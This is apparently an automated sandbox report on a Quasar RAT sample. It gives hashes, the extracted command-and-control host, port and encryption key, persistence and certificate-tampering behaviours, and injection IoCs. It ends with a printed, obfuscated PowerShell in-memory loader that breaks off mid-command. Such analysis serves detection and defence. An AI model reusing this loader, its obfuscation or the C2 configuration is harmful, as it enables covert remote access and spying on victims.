quasar | d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
08/05/2024, 17:08

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General

Target
Uni.bat
Size 301KB
Sample240508-vnlkpagh86
SHA256 d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334
MD5 1f089d9bb03dad6a421dc626a1a1388d
SHA1 44b708c87c743b09c3380427aa0c64e196438d76
SHA512 fd6c6e5588e588e482a15bfe7a5f4608fe85452916b812319336bf422b07a3f76ef7415b64d99bc7f624e57aa362c388576db529e064a3dfbbc4ec01aebec324
SSDEEP 6144:UDAQODtb/MLJcwze2hz1uQ1VEqPfvBaidW+wYHlad/vb7V1:UDROhbMNcE7hv1VLZtMTK+/jJ1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral4/memory/1604-19-0x000001FAEDCE0000-0x000001FAEDD4C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4792 created 632	4792	powershell.EXE	5

Executes dropped EXE 3 IoCs

pid	Process
1604	Uni.bat.exe
2128	$sxr-powershell.exe
760	install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4792 set thread context of 3156	4792	powershell.EXE	92

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2036	schtasks.exe
840	SCHTASKS.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={453AF952-5678-4983-A91B-F7D586F23203}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715188190"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 08 May 2024 17:09:50 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	$sxr-powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	$sxr-powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	$sxr-powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1604	Uni.bat.exe
1604	Uni.bat.exe
2128	$sxr-powershell.exe
2128	$sxr-powershell.exe
4792	powershell.EXE
4792	powershell.EXE
4792	powershell.EXE
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
1604	Uni.bat.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
1604	Uni.bat.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe
3156	dllhost.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1604	Uni.bat.exe
Token: SeDebugPrivilege	2128	$sxr-powershell.exe
Token: SeDebugPrivilege	4792	powershell.EXE
Token: SeDebugPrivilege	4792	powershell.EXE
Token: SeDebugPrivilege	3156	dllhost.exe
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE
Token: SeShutdownPrivilege	3292	Explorer.EXE
Token: SeCreatePagefilePrivilege	3292	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3908	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 1604	2308	cmd.exe	80
PID 2308 wrote to memory of 1604	2308	cmd.exe	80
PID 1604 wrote to memory of 2036	1604	Uni.bat.exe	83
PID 1604 wrote to memory of 2036	1604	Uni.bat.exe	83
PID 1604 wrote to memory of 2128	1604	Uni.bat.exe	85
PID 1604 wrote to memory of 2128	1604	Uni.bat.exe	85
PID 1604 wrote to memory of 760	1604	Uni.bat.exe	87
PID 1604 wrote to memory of 760	1604	Uni.bat.exe	87
PID 1604 wrote to memory of 760	1604	Uni.bat.exe	87
PID 1604 wrote to memory of 840	1604	Uni.bat.exe	88
PID 1604 wrote to memory of 840	1604	Uni.bat.exe	88
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 4792 wrote to memory of 3156	4792	powershell.EXE	92
PID 3156 wrote to memory of 632	3156	dllhost.exe	5
PID 3156 wrote to memory of 692	3156	dllhost.exe	7
PID 3156 wrote to memory of 1000	3156	dllhost.exe	12
PID 3156 wrote to memory of 476	3156	dllhost.exe	13
PID 3156 wrote to memory of 536	3156	dllhost.exe	14
PID 3156 wrote to memory of 452	3156	dllhost.exe	15
PID 3156 wrote to memory of 1048	3156	dllhost.exe	16
PID 3156 wrote to memory of 1092	3156	dllhost.exe	17
PID 3156 wrote to memory of 1104	3156	dllhost.exe	18
PID 3156 wrote to memory of 1172	3156	dllhost.exe	20
PID 3156 wrote to memory of 1228	3156	dllhost.exe	21
PID 3156 wrote to memory of 1252	3156	dllhost.exe	22
PID 3156 wrote to memory of 1368	3156	dllhost.exe	23
PID 3156 wrote to memory of 1384	3156	dllhost.exe	24
PID 3156 wrote to memory of 1416	3156	dllhost.exe	25
PID 3156 wrote to memory of 1504	3156	dllhost.exe	26
PID 3156 wrote to memory of 1520	3156	dllhost.exe	27
PID 3156 wrote to memory of 1660	3156	dllhost.exe	28
PID 3156 wrote to memory of 1704	3156	dllhost.exe	29
PID 3156 wrote to memory of 1716	3156	dllhost.exe	30
PID 3156 wrote to memory of 1812	3156	dllhost.exe	31
PID 3156 wrote to memory of 1824	3156	dllhost.exe	32
PID 3156 wrote to memory of 1892	3156	dllhost.exe	33
PID 3156 wrote to memory of 1904	3156	dllhost.exe	34
PID 3156 wrote to memory of 1988	3156	dllhost.exe	35
PID 3156 wrote to memory of 2028	3156	dllhost.exe	36
PID 3156 wrote to memory of 1864	3156	dllhost.exe	37
PID 3156 wrote to memory of 2204	3156	dllhost.exe	39
PID 3156 wrote to memory of 2380	3156	dllhost.exe	40
PID 3156 wrote to memory of 2388	3156	dllhost.exe	41
PID 3156 wrote to memory of 2416	3156	dllhost.exe	42
PID 3156 wrote to memory of 2508	3156	dllhost.exe	43
PID 3156 wrote to memory of 2516	3156	dllhost.exe	44
PID 3156 wrote to memory of 2532	3156	dllhost.exe	45
PID 3156 wrote to memory of 2556	3156	dllhost.exe	46
PID 3156 wrote to memory of 2576	3156	dllhost.exe	47
PID 3156 wrote to memory of 2592	3156	dllhost.exe	48
PID 3156 wrote to memory of 3060	3156	dllhost.exe	50
PID 3156 wrote to memory of 2272	3156	dllhost.exe	51
PID 3156 wrote to memory of 2164	3156	dllhost.exe	52
PID 3156 wrote to memory of 3292	3156	dllhost.exe	53
PID 3156 wrote to memory of 3420	3156	dllhost.exe	54
PID 3156 wrote to memory of 3468	3156	dllhost.exe	55
PID 3156 wrote to memory of 3832	3156	dllhost.exe	58
PID 3156 wrote to memory of 3908	3156	dllhost.exe	59

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:476
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2d8a0864-7a97-4b5e-b701-3c492cf0d855}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3156

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CZpdlWmNmpey{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rFiynjkNvwTtme,[Parameter(Position=1)][Type]$FMMmNOhxPs)$NdzAwUQZhRJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'le'+'c'+''+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+'od'+'u'+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+'e'+''+'g'+'a'+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+'p'+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+'e'+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+'s'+','+[Char](65)+'u'+'t'+''+[Char](111)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NdzAwUQZhRJ.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'i'+[Char](103)+''+','+'P'+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$rFiynjkNvwTtme).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+'M'+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$NdzAwUQZhRJ.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+'a'+[Char](108)+'',$FMMmNOhxPs,$rFiynjkNvwTtme).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $NdzAwUQZhRJ.CreateType();}$RUatHuDTCMnXT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+'o'+'s'+''+'o'+''+'f'+''+[Char](116)+'.'+[Char](87)+'i'+[Char](110)+''+[Char](51)+'2'+'.'+''+[Char](85)+''+[Char](110)+'safe'+[Char](78)+'a'+[Char](116)+''+[Char](105)+'v'+[Char](101)+'M'+[Char](101)+''+[Char](116)+'h'+'o'+''+'d'+'s');$FILWoDyBkidStv=$RUatHuDTCMnXT.GetMethod(''+'G'+''+'e'+'t'+[Char](80)+'ro'+'c'+''+[Char](65)+'d'+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WrNTPZidRCLzbhinfTV=CZpdlWmNmpey 